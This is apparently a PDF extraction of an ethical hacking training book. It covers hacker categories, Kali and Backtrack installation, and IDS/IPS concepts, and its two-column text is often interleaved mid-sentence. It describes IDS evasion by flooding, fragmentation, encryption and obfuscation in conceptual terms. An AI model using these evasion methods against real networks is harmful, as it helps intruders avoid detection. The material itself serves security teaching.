Ethical Hacking
Ethical Hacking
Ethical Hacking
com |1
Network Security Module-II (2014) 5 Malware 95-112
Trojan & Backdoor
Subject Name Ethical Hacking Viruses & Worms
Spyware
Adware
Instruction hours: 24 Hours Ransomware
Bots
Practical duration: 24 Hours Botnets
Bombs
Unit no. Topics & Contents Page
No. 6 Various Attack Methods & 113-179
their Countermeasures-I
1 Introduction to Ethical Hacking 5-11 Denial of Service
Ethical Hacking Definition Session Hijacking
Types of Hacker MITM Active & Passive
Hacking Vs. Ethical Hacking Web-Server Hacking
Essential Hacking Terminologies SQL Injection
Hacking Wireless Network
2 Introduction to Backtrack & Kali 12-30 Wireless Network Architecture
Installation & Live booting Basic configuration
Basic Commands & Concepts Protocols & functioning
File System & Directories Evading IDS, Firewall & Honey pots
Configuring Backtrack
Installing application on Backtrack 7 Various Attack Methods & 180-233
Updating Backtrack their Countermeasures-II
Sniffing with Backtrack Buffer Overflow
Running Windows application on Backtrack Cross Site Scripting
Sniffer
3 Access Control, Firewallsand 31-54 Password Attack
Intrusion Detection E-mail Attack
Overview of Identification and Authentication Social Engineering
Authorization and accountability.
Intrusion Detection Systems and Intrusion Prevention Systems 8 Mobile Security 234-257
User Management Mobile Attack
DNS Routing and Load Balancing Vulnerabilities & Risks
DMZ and firewall features Mobile Device Management
Mobile Protection Tool
4 Ethical Hacking Steps 55-94
Foot-Printing & Reconnaissance 9 Penetration Testing Methodologies 258-269
Scanning Security Assessment
Enumeration Vulnerability Assessment
System Hacking Penetration Testing
Maintaining Access Types of Penetration Testing
Covering Tracks Common Penetration Testing Techniques
2| www.iqspl.com www.iqspl.com |3
10 Cryptography 270-291 Chapter 1.
Introduction to Cryptography
Symmetric key Cryptography Introduction to Ethical Hacking
Asymmetric key Cryptography
Message Authentication and Hash
Digital Signatures Objectives
Public Key infrastructure
Diffe-Hellman key exchange protocol Ethical Hacking Definition
Applications of Cryptography
Types of Hacker
Steganography
Hacking Vs. Ethical Hacking
11 Cybercrime and Indian Cyber Law 292-337 Essential Hacking Terminologies
IT Act
IPC Section
Case Studies
Introduction:
Although Ethical is an often overused and misunderstood word, in network
security context it means working with high professional morals and princi-
ples. Hacking is an act of penetrating computer systems to gain knowledge
about the system and how it works. Hacking is the gaining of access (wanted
or unwanted) to a computer and viewing, copying, or creating data (leaving
a trace) without the intention of destroying data or maliciously harming the
computer.Hacking and hackers are commonly mistaken to be the bad guys
most of the time.
4| www.iqspl.com www.iqspl.com |5
Ethical hackers usually fall into the white-hat category, but sometimes theyre 1.3 Ethical Vs. Unethical Hacking
former grey hats who have become security professionals and who now use
their skills in an ethical manner. Many of us tend to be confused between the concepts ofEthical and Uneth-
ical Hacking. To us, hacking is itself, automatically called as unethical or
White Hats illegal. Normally, hacking can be defined as unauthorized breach of barriers
put for the protection of important data, information and people as well.
White hats are the ethical hackers who use their hacking skills for defensive
purposes. White-hat hackers are usually security professionals with knowl- Initially hacking was all about breaking laws and accessing unauthorized in-
edge of hacking and who use this knowledge to locate weaknesses and im-
formation by certain groups of people, specializing in Information Technology
plement countermeasures. White hats hack with permission from the data
owner. It is critical to get permission prior to beginning any hacking activity. and Computer Programming. Some of the major computer companies such as
Apple, IBM and Microsoft comprises of large team of dedicated, talented and
professional hackers. These hackers, however are not breaking the laws, so
Black Hats far nobody can tell. For ethical hackers, their job includes to test the newly
Black hats are the malicious hackers or crackers who use their skills for developed program to find loopholes in security system of the program.
illegal or malicious purposes. They break into remote systems, with mali-
cious intent. Having gained unauthorized access, black-hat hackers destroy In simple words, an ethical hacker is a computer expert, who attacks a high-
vital data; deny legitimate users service, and cause problems for their targets. ly protected security system on behalf of his owner with care and prevents
Black-hat hackers and crackers can easily be differentiated from white-hat the exploitation of the program that an unethical hacker might cause harm.
hackers because their actions are malicious.
In order to test the program, ethical hacker makes use of the same methods
as unethical hackers to create malicious attack on the security system. On
Grey Hats the other hand, an unethical hacker is more of a vigilante, who is basically
Grey hats are hackers who may work offensively or defensively, depending on involved in exploiting security vulnerabilities for some hacktivists or person
the situation. This is the dividing line between hacker and cracker. Grey-hat who wants to get unauthorized access to the system.
hackers may just be interested in hacking tools and technologies and are not
malicious black hats. Grey hats are interested in hacker tools mostly from a The technical differences between Ethical and Unethical Hacking is ZERO,
curiosity standpoint. They may want to highlight security problems in a sys- but what counts here is Moral difference, which is substantive. At present,
tem or educate victims so they secure their systems properly. These hackers most of the companies have their own hackers. Both the hackers seems to do
are doing their victims a favour. The difference between white hats and grey
well in their business, depends on who hires them. It can be well termed as
hats is that permission word. Although grey hats might have good intentions,
without the correct permission they can no longer be considered ethical. the fight between Police Force and Criminals.
6| www.iqspl.com www.iqspl.com |7
Black Box Risk: The potential for harm or loss to an information system or net-
work; the probability that a threat will materialize
Black-box testing involves performing a security evaluation and testing with
Attack: An action against an information system or network that at-
no prior knowledge of the network infrastructure or system to be tested. Test- tempts to violate the system security policy; usually the result of a
ing simulates an attack by a malicious hacker outside the organizations se- threat realized.
curity perimeter. Black-box testing can take the longest amount of time and
Target of Evaluation: An IT product, element, or system designated to
most effort as no information is given to the testing team. Therefore, the infor- have a security evaluation.
mation-gathering, reconnaissance, and scanning phases will take a great deal
Exploit: It means of exploiting a weakness or vulnerability in an IT
of time. The advantage of this type of testing is that it most closely simulates system to violate the systems security.
a real malicious attackers methods and results. The disadvantages are pri-
marily the amount of time and consequently additional cost incurred by the
testing team. Hackers, Crackers, and Other Related Terms
Originally, the term hacker did not have negative connotation. A hacker was
White Box a computer person who was intellectually curious and wanted to learn as
much as possible about computer systems. A person who was hacking was
White-box testing involves performing a security evaluation and testing with
developing and improving software to increase the performance of computing
complete knowledge of the network infrastructure such as a network admin- systems.
istrator would have. This testing is much faster than the other two methods
A cracker was an individual using his or her capabilities for harmful pur-
as the ethical hacker can jump right to the attack phase, thus bypassing poses against computer systems. Another name for a cracker is a malicious
all the information-gathering, reconnaissance, and scanning phases. Many hacker.
security audits consist of white-box testing to avoid the additional time and Over time, the terms hacker and cracker both took on the definition of an
expense of black-box testing. individual who used offensive skills to attack computer systems. Therefore,
an ethical hacker is a security professional who uses his or her computing
Grey Box capabilities for defensive purposes and to increase the security posture of in-
formation systems.
Grey-box testing involves performing a security evaluation and testing inter-
A phreaker is a hacker who focuses on communication systems to steal call-
nally. Testing examines the extent of access by insiders within the network.
ing card numbers, make free phone calls, attack PBXs and acquire access,
The purpose of this test is to simulate the most common form of attack, those illegally, to communication devices.
that are initiated from within the network. The idea is to test or audit the level
A whacker is a novice hacker who attacks Wide Area Networks (WANs) and
of access given to employees or contractors and see if those privileges can be wireless networks.
escalated to a higher level.
A script/kiddie is usually a young individual without programming skills
who uses attack software that is freely available on the Internet and from
1.4 Essential Ethical Hacking Terminologies other sources.
The cyber-terrorist is an individual who works for a government or terrorist
group that is engaged in sabotage, espionage, financial theft, and attacks on
Threat: An event or activity that has the potential to cause harm to the a nations critical infrastructure.
information systems or networks
Vulnerability: A weakness or lack of a safeguard that can be exploited
by a threat, causing harm to the information systems or networks; can
exist in hardware, operating systems, firmware, applications, and con-
figuration files
8| www.iqspl.com www.iqspl.com |9
Hactivism
Hackers and crackers have a variety of motivations and justifications for their Hacking Mobile Handset Statistics 2014
activities. Some of these individuals believe that information should be free
and they are doing their part in this cause. Hackers who conduct their activi-
ties for a cause are said to be practicing hactivism. Thus, their targets are any
organizations that they perceive are behind social injustice. They attack gov-
ernment organizations and agencies, international economic organizations
and any other entities that they define as being responsible for social and
economic inequities. Through their hactivism, they gain publicity for their
cause and for themselves to help build their reputation. No matter what the
justification, breaking into computers and networks is illegal.
These hackers usually have a social or political agenda. Their intent is to
send a message through their hacking activity while gaining visibility for their
cause and themselves. Many of these hackers participate in activities such as
defacing websites, creating viruses and implementing DoS or other disrup-
tive attacks to gain notoriety for their cause. Hacktivism commonly targets
government agencies, political groups, and any other entities these groups or
individuals perceive as bad or wrong.
Statistics
10 | www.iqspl.com www.iqspl.com | 11
Chapter 2 Custom kernel, patched for injection: As penetration testers, the
development team often needs to do wireless assessments; so the ker-
nel has the latest injection patches included.
Kali Linux & Backtrack
Developed in a secure environment:The Kali Linux team is made up
of a small group of individuals who are the only ones trusted tocommit
packages and interact with the repositories, all of which is done using
About Kali Linux: multiple secure protocols.
Kali Linux is an open source project that is maintained and funded by Of-
GPG signed packages and repositories:Every package in Kali Linux
fensive Security, a provider of world-class information security training and
issigned by each individual developer whobuilt and committed it and
penetration testing services.In addition to Kali Linux, Offensive Security also the repositories subsequently sign the packages as well.
maintains theExploit Databaseand the free online courses.
Multi-language support:Although penetration tools tend to be written
Kali Linuxis a Debian-based Linux distribution aimed at advanced Penetra-
in English, Kali includestrue multilingual support, allowing more users
tion Testing and Security Auditing. Kali contains several hundred tools aimed to operate in their native language and locate the tools they need for the
at various information security tasks, such asPenetration Testing, Forensics job.
and Reverse Engineering.
Completely customizable: Not everyone will agree with design deci-
Kali Linux was released on the 13th March 2013 as a complete, top-to bot-
sions, so it was made as simple as possible for more adventurous users
tomrebuild of Backtrack Linux, adhering completely ofDebiandevelopment tocustomize Kali Linuxto their liking, all the way down to the kernel.
standards.
ARMEL and ARMHF support:Since ARM-based single-board systems
like the Raspberry Pi and Beagle-Bone Black, among others, are becoming
Features: more and more prevalent and inexpensive; Kalis ARM supportwould
need to be robust, with fullyworking installations for bothARMEL and
More than 600 penetration testing tools included: After reviewing ARMHF systems. Kali Linux is available ona wide range of ARM devic-
every tool that was included in Backtrack, we eliminated a great num- esand has ARM repositories integrated with the mainline distribution
ber of tools that either simply did not work or which duplicatedother so tools for ARM areupdated in conjunction with the rest of the distri-
tools that provided the same or similar functionality. Details on whats bution.
included are on theKali Toolssite.
Free and always will be:Kali Linux, like Backtrack, is completely free of
charge and always will be. You will never, ever have to pay for Kali Linux.
Open source GIT tree: Developers of Kali Linux are committed to
the open source development model and their development tree is
available for all to see. All of the sourcecodethat goes into Kali Linux
isavailable for anyonewho wantsto tweak orrebuild packages to suit
their specific needs.
FHS compliant:Kali adheres to theFile system Hierarchy Standard,
allowing Linux users to easily locate binaries, support files, libraries,
etc.
Wide-rangingwireless device support:A regular sticking point with
Linux distributions has been support for wireless interfaces. Kali Linux
is built to support as many wireless devices as possibly can, allowing it
to run properly on a wide variety of hardware and making it compatible
with numerous USB and other wireless devices.
12 | www.iqspl.com www.iqspl.com | 13
Kali Linux Core Developers: Kali 1.0.2 27th March 2013 MinorBugfixRelease and update roll-
up.
MatiAharoni (muts)
Kali 1.0.1 14th March 2013 MinorBugfixRelease.
DevonKearns (dookie)
Kali 1.0.0 13th March 2013 Initial release.
RaphaelHertzog (buxy)
14 | www.iqspl.com www.iqspl.com | 15
Kali Linux Installation Procedure: 3. Specify your geographic location.
4. The installer will copy the image to your hard disk, probe your network
interfaces, and then prompt you to enter a hostname for your system.
In the example below, weve entered kali as our hostname.
2. Select your preferred language and then your country location. Youll
also be prompted to configure your keyboard with the appropriate key
map.
16 | www.iqspl.com www.iqspl.com | 17
5. You may optionally provide a default domain name for this system to 7. The installer will now probe your disks and offer you four choices. In
use. our example, were using the entire disk on our computer and not con-
figuring LVM (logical volume manager). Experienced users can use the
Manual partitioning method for more granular configuration options.
Note: Itll wipe all the data from your HDD.
18 | www.iqspl.com www.iqspl.com | 19
9. Depending on your needs, you can choose to keep all your files in a 11. Configure network mirrors. Kali uses a central repository to distribute
single partition the default or to have separate partitions for one or applications. Youll need to enter any appropriate proxy information as
more of the top-level directories. If youre not sure which you want, se- needed.
lect All files in one partition.
10. Next, youll have one last chance to review your disk configuration be-
12. Next, install GRUB.
fore the installer makes irreversible changes. After you clickContinue,
the installer will go to work and youll have an almost finished instal-
lation.
20 | www.iqspl.com www.iqspl.com | 21
13. Finally, click Continue to reboot into your new Kali installation. Lab Objective:
Installation of Backtrack 5
LAB TASK:
Step - 1 Download the Backtrack 5 ISO from below link
http://www.backtrack-linux.org/downloads/
Note: After clicking on Continue, itll restart and boot your installed Kali
Linux.
Overview of Backtrack:
Backtrack is a distribution designed by Jason Dennis based on the Ubuntu
Linux distribution aimed at digital forensics and penetration testing use. It
was named after backtracking; a search algorithm First release was 2007.
The evolution of Backtrack spans many years of development, penetra-
tion tests, and unprecedented help from the security community.
Backtrack originally started with earlier versions of live Linux distribu- Step 3 After a few moments, you will see Backtrack Live CD menu.
tions called Whoppix, WHAX, and Auditor. Press enter on Backtrack Text Default Boot Text Mode.
When Backtrack was developed, it was designed to be an all in one live
cd used on security audits and was specifically crafted to not leave any
remnants of itself on the laptop.
It has since expanded to being the most widely adopted penetration-test-
ing framework in existence and is used by the security community all
over the world.
22 | www.iqspl.com www.iqspl.com | 23
Step 5 Installation Screen is loading.
Step 4 Wait about 10 seconds and you will come to Backtrack login con-
sole. Type the command startx to load the GUI. Step 6 After another few moments, you will come to the desktop of Back-
track. Double click on the Install Backtrack to begin the install process.
24 | www.iqspl.com www.iqspl.com | 25
Step 7 Now select your language and time zone and click on forward but- Step 8 Select Keyboard layout and click on forward button.
ton.
Step 9 This step is important as you have to partition your drive. If you are
using a virtual machine, go ahead and use the whole drive. If you are dual
booting, you will have to specify your partition for your two operating systems.
26 | www.iqspl.com www.iqspl.com | 27
Step 9 Continue through the installer, and then click Install. Backtrack will Step 11 Backtrack 5 Login
then install on to your system. This process takes about 10-15 minutes.
After restarting, you will come to a login screen like this. The default root
name for Backtrack is root and the password is root. After typing in the
root username and password, you will come back to the Backtrack shell.
28 | www.iqspl.com www.iqspl.com | 29
CHAPTER 3
Access Control, Firewallsand
Intrusion Detection
Objective
3.1 Overview of Identification and Authentication
3.2 Authorization and Accountability
3.3 Intrusion Detection Systems
3.4 Intrusion Prevention Systems
3.5 User Management
3.6 DNS Routing and Load Balancing
In access control systems, users must present credentials before they can
be granted access. In physical systems, these credentials may come in many
forms, but credentials that cant be transferred provide the most security.
For example, a key card may act as an access control and grant the bear-
er access to a classified area. Because this credential can be trans-
ferred or even stolen, it is not a secure way of handling access control.
A more secure method for access control involves two-factor authentication. The
person who desires access must show credentials and a second factor to corroborate
identity. The second factor could be an access code, a PIN or even a biometric reading.
30 | www.iqspl.com www.iqspl.com | 31
Identification
Identification is nothing more than claiming youre somebody. You identify
yourself when you speak to someone on the phone that you dont know and
they ask you who theyre speaking to. When you say, Im Alok. youve just
identified yourself.
In the information security world, this is analogous to entering a username.
Itsnotanalogous to entering a password. Entering a password is a method
for verifying that you are whom you identified yourself as and thats the next
one on our list.
Adding a bit of authorization to that analogy, it may be a club where youre al- Authorization is what takes place after a person has been both identified and
lowed to get in once you prove who you are, but you only get a wrist band that authenticated; its the step determines what a person can then do on the system.
allows you to consume alcohol if youre over 21. Otherwise youre not allowed An example in people terms would be someone knocking on your door at
to. This would beauthorizationbecause its assigning you privileges based on night. You say, Who is it? and wait for a response. They say, Its Sandeep.
some attribute of your identity. In order to identify them, you ask them to back up into the light so you can
see them through the peephole. They do so and you authenticate them based
on what they look like (biometric). At that point you decide they can come in-
side the house.
If they had said they were someone you didnt want in your house (identifica-
tion), and you then verified that it was that person (authentication), the au-
thorization phase would not include access to the inside of the house.
32 | www.iqspl.com www.iqspl.com | 33
Accountability There are two main types of systems in which IDS can be used: Network, Host
and Log File Monitoring.
It is the property that ensures that the actions of an entity can be traced solely
to this entity.Accountabilityguarantees that all operations carried out by in-
dividuals, systems or processes can be identified (identification) and that the
trace to the author and the operation is kept (traceability). NIDS:
Network Intrusion Detection Systems are placed at a strategic point or
points within the network to monitor traffic to and from all devices on
3.3 Intrusion Detection Systems (IDS) the network. Ideally you would scan all inbound and outbound traffic;
however doing so might create a bottleneck that would impair the over-
all speed of the network.
In a network-based intrusion-detection system (NIDS), the sensors are
located at choke points in network to be monitored, often in the de-
militarized zone (DMZ) or at network borders. The sensor captures all
network traffic and analyzes the content of individual packets for mali-
cious traffic.
HIDS:
Host Intrusion Detection Systems are run on individual hosts or devic-
es on the network. A HIDS monitors the inbound and outbound packets
from the device only and will alert the user or administrator of suspi-
cious activity as detected.
34 | www.iqspl.com www.iqspl.com | 35
collect all events detected by the sensors and keep the events record in an Services: Service configuration files are routinely checked to ensure that the
event repository database. It will then alert the users if there are any threat- there are no unauthorized services in operation on the network.
ening events found. The IDSs users can configure the way the IDS respond.
Usually, alert can come in the form of log, email or screen display. Backend Packet Sniffing: Intrusion detection systems check for unauthorized net-
also provide IDS setup and configuration storage. work monitoring programs that may have been installed for the purpose of
monitoring and recording user account data activity.
PC Check: The intrusion detection system will check each PC on the network
(3) Frontend periodically to make sure there have not been any violations or tampering ac-
tivity. Generally, if one PC displays a violation, the system should check all of
Since backend plays it role to collect events captured by the sensor, frontend the other machines on the network.
will display/view the events collected. It is a direct user interface that allows
the user to command and control the IDS. From the frontend, the user can
view the events detected by the sensor, setup and configure IDS and update
the signature database. IDS Evasion Techniques
Intrusion detection system evasion techniques bypass detection by creating
different states on the IDS and on the targeted computer.
Ways to Detect an Intrusion The adversary accomplishes this by manipulating either the attack itself or
the network traffic that contains the attack.
All Intrusion Detection Systems use the following detection techniques:
These evasive techniques include flooding, fragmentation, encryption, and
Statistical anomaly based IDS: A statistical anomaly-based IDS establish- obfuscation.
es a performance baseline based on normal network traffic evaluations. It
will then sample current network traffic activity to this baseline in order to Flooding: IDSs depend on resources such as memory and processor power
detect whether or not it is within the baseline parameters. If the sampled to effectively capture packets, analyze traffic and report malicious attacks.
traffic is outside baseline parameters, an alarm will be triggered. By flooding a network with noise traffic, an attacker can cause the IDS to
exhaust its resources examining harmless traffic. In the meantime, while the
Signature-Recognition- Network traffic is examined for preconfigured and
IDS is distracted and occupied by the volume of noise traffic, the attacker can
predetermined attack patterns known as signatures. Many attacks today
target its system with little or no intervention from the IDS.
have distinct signatures. In good security practice, the collection of these
signatures must be constantly updated to mitigate emerging threats. A denial of service (DOS): attack is one that is intended to compromise
the availability of a computing resource. Common DOS attacks include ping
Protocol Anomaly Detection- In this type of Detection, model is built on floods and mail bombs, both intended to consume disproportionate amounts
TCP/IP protocols using their specification. of resources, starving legitimate processes. Other attacks are targeted at bugs
in software, and are intended to crash the system.
An IDS works by examining the following events: Denial of service attacks can be leveraged to subvert systems as well as to
disable them. When discussing the relevance of DOS attacks to a security
Observing Activity: The intrusion detection system will observe the activity system, the question of whether the system is ``fail-open arises. A ``fail-open
that taking place within the network and keep track of user policies and activ- system ceases to provide protection when it is disabled by a DOS attack. A
ity patterns to ensure there are no attempts to violate these patterns. ``fail-closed system, on the other hand, leaves the network protected when it
Viruses: Virus and malware can hide within a network system in the form of is forcibly disabled.
spyware, keylogging, password theft and other types of malicious attacks. A The terms ``fail-open and ``fail-closed are most often heard within the con-
good intrusion detection system can spot where they are hiding and then take text of firewalls, which are access-control devices for networks. A fail-open
the necessary steps to remove these hidden files. firewall stops controlling access to the network when it crashes, but leaves
File Settings: Authorization files on a network generally consist of a user the network available. An attacker that can crash a fail-open firewall can by-
authorization and a group authorization. The intrusion detection system will pass it entirely. Good firewalls are designed to ``fail-closed, leaving the net-
check these on a regular basis to ensure they have not been tampered with work completely inaccessible (and thus protected) if they crash.
in any way. Network ID systems are passive. They do not control the network or maintain
its connectivity in any way. As such, a network IDS is inherently fail-open.
36 | www.iqspl.com www.iqspl.com | 37
If an attacker can crash the IDS or starve it of resources, she can attack the In the computer defence systems arena, firewalls and anti-virus protection
rest of the network as if the IDS werent even there. Because of the obvious are not enough. You need more proactive, intuitive, and pre-emptive comput-
susceptibility to DOS attacks that network ID systems have, its important er defence technology with the capability to detect and prevent, or block, an
that they be fortified against them. attack in real time. One such technology is the intrusion prevention system
(IPS) or intrusion detection and prevention system.
Fragmentation: Because different network media allow variable maximum
transmission units (MTUs), you must allow for the fragmentation of these trans- An IPS is a pre-emptive network security approach that uses advanced tech-
mission units into differently sized packets or cells. Hackers can take advantage niques to detect and block (or prevent) possible intrusion attempts into a
of this fragmentation by dividing attacking packets into smaller and smaller por- computer system. An IPS thoroughly scans the traffic flowing to and from
tions that evade the IDS but cause an attack when reassembled by a target host. a computer system or computer network for security breaches. If a threat
is detected, the system is able to take defensive actions such as dropping a
Protocols like TCP allow any amount of data (within the limits of the IP pro-
particular data packet or dropping the whole connection. The scan captures
tocols maximum packet size) to be contained in each discrete packet. A col-
details, the action report is logged in a file, and an alert is sent to the system
lection of data can be transmitted in one packet, or in a group of them. Be-
or network administrator.
cause they can arrive at their destination out of order, even when transmitted
in order, each packet is given a number that indicates its place within the An Intrusion Prevention System (IPS) is a network security/threat preven-
intended order of the stream. This is commonly referred to as a `sequence tion technology that examines network traffic flows to detect and prevent
number, and we call collections of packets marked with sequence numbers vulnerability exploits. Vulnerability exploits usually come in the form of mali-
sequenced. cious inputs to a target application or service that attackers use to interrupt
and gain control of an application or machine. Following a successful exploit,
Encryption: Network-based intrusion detection (covered later in this chapter)
the attacker can disable the target application (resulting in a denial-of-service
relies on the analysis of traffic that is captured as it traverses the network
state), or can potentially access to all the rights and permissions available to
from a source to its destination. If a hacker can establish an encrypted ses-
the compromised application.
sion with its target host using Secure Shell (SSH), Secure Socket Layer (SSL),
or a virtual private network (VPN), the IDS cannot analyze the packets and the An IPS is used in computer security. It provides policies and rules for net-
malicious traffic will be allowed to pass. Obviously, this technique requires work traffic along with an intrusion detection system for alerting system or
that the attacker establish a secure encrypted session with its target host. network administrators to suspicious traffic, but allows the administrator to
provide the action upon being alerted. Some compare an IPS to a combination
Obfuscation: Obfuscation, an increasingly popular evasive technique, in-
ofIDSand an application layer firewall for protection.
volves concealing an attack with special characters. It can use control charac-
ters such as the space, tab, backspace, and Delete. Also, the technique might An Intrusion Prevention System is a network device/software that goes deep-
represent characters in hex format to elude the IDS. Using Unicode represen- er than a firewall to identify and block network threats by assessing each
tation, where each character has a unique value regardless of the platform, packet based on the network protocols in the application layer, the context of
program, or language, is also an effective way to evade IDSs. the communication and tracking of each session.
Polymorphic code is another means to circumvent signature-based IDS by
creating unique attack patterns, so that the attack does not have a single de-
Prevention Techniques
tectable signature.
The IPS often sits directly behind the firewall and of provides a complemen-
tary layer of analysis that negatively selects for dangerous content. Unlike its
3.4 Intrusion Prevention Systems predecessor theIntrusion Detection System(IDS), which is a passive system
that scans traffic and reports back on threats the IPS, is placed in line, active-
Cyber security is a heated discussion topic in the IT world today. With the
ly analysing and taking automated actions on all traffic flows that enter the
exponential increase in cyber crime, individuals as well as corporations are
network. Specifically, these actions include:
feeling the heat of computer security breaches. Cyber criminals are targeting
even state governments successfully. Extensive cyber crime creates doubt Sending an alarm to the administrator (as would be seen in an IDS)
about the computer defence systems in place today. Although no security
mechanism can guarantee 100-percent protection against malicious comput- Dropping the malicious packets
er intrusions, deploying the best possible defence systems makes it difficult Blocking traffic from the source address
for cyber intruders to enter computer systems and cause damage.
Resetting the connection
38 | www.iqspl.com www.iqspl.com | 39
As an inline security component, the IPS must work efficiently to avoid de- Consider a hypothetical situation in which an unsuccessful attempts to log
grading network performance. It must also work fast because exploits can in to a server generates a Login Failed response to a user. This response is
happen in near real-time. The IPS must also detect and respond accurately, normal if users forget their login credentials or enter the wrong credentials,
so as to eliminate threats and false positives (legitimate packets misread as but a repetitive login failure could signal a possible intrusion attempt. If there
threats). were a rule in the IPS that scans the outgoing packets for the signature Login
failed, after a legitimate number of login retries, an alert would be generated
to the system or network administrator.
Detection Techniques Another example involves the usernames and passwords used in repetitive
The IPS has a number of detection methods for finding exploits, but signa- login attempts. If an IPS is configured to match usernames and passwords
ture-based detection and statistical anomaly-based detection are the two with the list of usernames and passwords collected from known attacks, then
dominant mechanisms. this type of signature match can also trigger an alert.
If a match is found, preventive action is taken and an alert is generated. This
step ensures that known cyber attacks or intrusion attempt patterns do not
Signature-based detection is based on a dictionary of uniquely identifiable cause damage to the computer system. Following are some examples of sig-
patterns (or signatures) in the code of each exploit. Whenever an exploit is dis- nature matching:
covered, its signature is recorded and stored in a continuously growing dic-
tionary of signatures. Signature detection for IPS breaks down into two types:
Matching the subject description or attachment name of an email with
Exploit-facing signatures identify individual exploits by triggering on
details of a known or detected malicious email.
the unique patterns of a particular exploit attempt. The IPS can identify
specific exploits by finding a match with an exploit-facing signature in the Tracking the denial-of-service attack by counting the number of times a
traffic stream command is executed and matching it with known statistics of a similar
kind of attack.
Vulnerability-facing signatures are broader signatures that target the
underlying vulnerability in the system that is being targeted. These Matching a user activity prior to authentication or login with a known
signatures allow networks to be protected from variants of an exploit that attack pattern.
may not have been directly observed in the wild, but also raise the risk of
false-positives. The weakness of the signature method is that its highly likely a new type of
attack or intrusion attempt will be undetected by the IPS. If a known intrusion
attempt is carried out in step with a large time gap between each step, theres
a chance that such attacks might go unnoticed. And, if an attack signature is
Statistical anomaly detection takes samples of network traffic at random
slightly modified, its possible that an IPS might not detect it.
and compares them to a pre-calculated baseline performance level. When the
sample of network traffic activity is outside the parameters of baseline perfor-
mance, the IPS takes action to handle the situation.
Profile method
IPS was originally built and released as a standalone device in the mid-2000s.
In the advent of todays implementations, IDS is now commonly integrated In the profile method, the IPS collects a pattern of data stream flowing to and
into Unified Threat Management (UTM) solutions (for small and medium size from a computer system (or computer network) in controlled or trusted con-
companies) and next-generationfirewalls(at the enterprise level). ditions. This pattern is treated as a baseline profile and compared against the
real-time data stream patterns. A real-time data stream pattern that is found
to be suspiciously different from the baseline profile is treated as an attack
and preventive action is taken against it. A standard baseline profile can rep-
Signature method resent normal behaviour of things such as network connections, applications,
In the signature method, the IPS compares the real-time data stream patterns users and hosts.
with a huge database of attack patterns that have already been detected. For example, if a real-time data stream is observed to be accessing a crucial
In this process, each data packet is scanned, byte by byte, for a particular system file that wasnt accessed when the baseline profile was generated in
pattern or string that represents complete or partial code associated with a the controlled environment, this attempt is treated as malicious. The incident
known attack. The pattern or string could be anything, such as acommand is then reported through an alarm.
name or a specific set of characters.
40 | www.iqspl.com www.iqspl.com | 41
The IPS can also be taught to recognize normal system behaviour through security to a host or computer network.
artificial intelligence. Because this method checks for deviations from normal
data traffic, it is also known as the anomaly-based method. Compared to the profile-based method, IPSs working on the signa-
ture-based method are more popular among corporations. Profile-based
The weakness of the profile method is that it can cause false alarms; a valid IPSs tend to generate a lot of false alarms that result in undesired data
change in the real-time data stream pattern could be misinterpreted as an traffic disruptions and extensive monitoring of the alarms generated.
attack. Also, it is hard to maintain a standard baseline profile as network to- The entire computer network setup would be at the mercy of the limit-
pologies change frequently. ed signature rules in a signature-based IPS. The time gap between the
detection of a new attack and the release of a software patch or update
from the vendor could be large enough to expose the computer network
Stateful protocol method to the new attack.
Data packets are wrapped with various protocol headers. Each layer of the Researchers and programmers are working to develop a superior IPS mod-
TCP/IP or Open Systems Interconnection (OSI) model adds the header of the el that would incorporate the best features of all three methods and detect
protocol (the protocol being used for that layer that is) to the received packet. known and unknown attacks with equal accuracy.
Protocols follow a standard document format known as Requests for Com-
ments (RFCs). An RFC completely explains the protocol and describes how it
should be used. The RFC forms the basis of the stateful protocol method. In Intrusion prevention systems can be classified into four different types:
this method, each protocol header is peeled apart and scanned for its con-
sistency with what its RFC specifies. A deviation from the RFC is considered 1. Network-based intrusion prevention system (NIPS): Monitors the
alarming, and an alert is raised. entire network for suspicious traffic by analysing protocol activity.
For example, a TCP packet with only SYN and FIN flags on, is a deviation from 2. Wireless intrusion prevention systems (WIPS): monitor a wireless
what the TCP RFC specifies. If a data packet with the TCP header contains network for suspicious traffic by analysing wireless networking proto-
both these flags on, then this needs to be reported.
cols.
In addition to monitoring the ideal behaviour of a protocol, an IPS also has
3. Network behaviour analysis (NBA): examines network traffic to iden-
intelligence about how a particular protocol is implemented in the real world
to make sure that a normally practiced RFC violation is not treated as a ma- tify threats that generate unusual traffic flows, such as distributed
licious attempt to breach computer security. denial of service (DDoS) attacks, certain forms of malware and policy
violations.
The stateful protocol method is like theprofile method. The difference is that
the profile method uses network- or host-specific rules while the stateful 4. Host-based intrusion prevention system (HIPS): an installed soft-
protocol method uses the protocol-specific rules described in corresponding ware package that monitors a single host for suspicious activity by
RFCs. It scans the protocol states and makes sure that the protocol is being
analysing events occurring within that host.
used in a proper way and is following valid state transitions.
What are the ways in which Intrusion Prevention Systems work?
Which method is better?
Signature based threat detection:Intrusion detection or preven-
There is no clear answer to this question, but here are some facts to keep in tion systems contain a large repository of signatures that help iden-
mind: tify attacks by matching attempts to known vulnerability patterns.
An IPS working on the signature method is able to detect only the at- Anomaly threat detection:Anomaly detection techniques protect
tack pattern of a known attack. All other types of attacks, even slight against first strike or unknown threats. This is done by comparing
variants of a known attack, are usually not detected. An IPS working the network traffic to a baseline to identify abnormal and potentially
on the stateful protocol method checks if the protocols are implemented harmful behavior. They basically look for statistical abnormalities in
according to standards. This approach enables an IPS to detect even the data traffic as well as protocol ambiguities and atypical applica-
unknown attacks that violate a protocol RFC rule. tion activities.
IPSs with capabilities of both the signature and protocol methods of Passive Network Monitoring:IPS can also be set to passively moni-
attack detection are getting popular. Using this hybrid method, an IPS tor network traffic at certain points and identify abnormal behavior/
can scan the protocol headers for alarming RFC violations and data deviation of certain security threshold parameters and report the
packets for known attack signatures. This approach provides enhanced same by generating reports/alerts (like email alerts) about the device
communications to the security administrator.
42 | www.iqspl.com www.iqspl.com | 43
SYN Flood attacks: Attacker sends a lot of Please start a
communication with me packets to a server but doesnt send any
What are the important IPS performance metrics? follow up packets, thus wasting the memory resources that were
IPS performance metrics are measured in terms of: allocated for these requests by the server.
Dynamic alerting capability Http obfuscation:Number of attacks on web servers is carried out
by obfuscating URL characters (using hexadecimal numbers, for ex-
Lower false positives ample) which gives unwarranted access the attackers.
Threat blocking capability Port Scanning:This is an attempt by the attackers to find out which
ports are open on a specific host or multiple hosts on the network by
High availability/ redundancy/ speed of working scanning different ports. Once this information is obtained, attacks
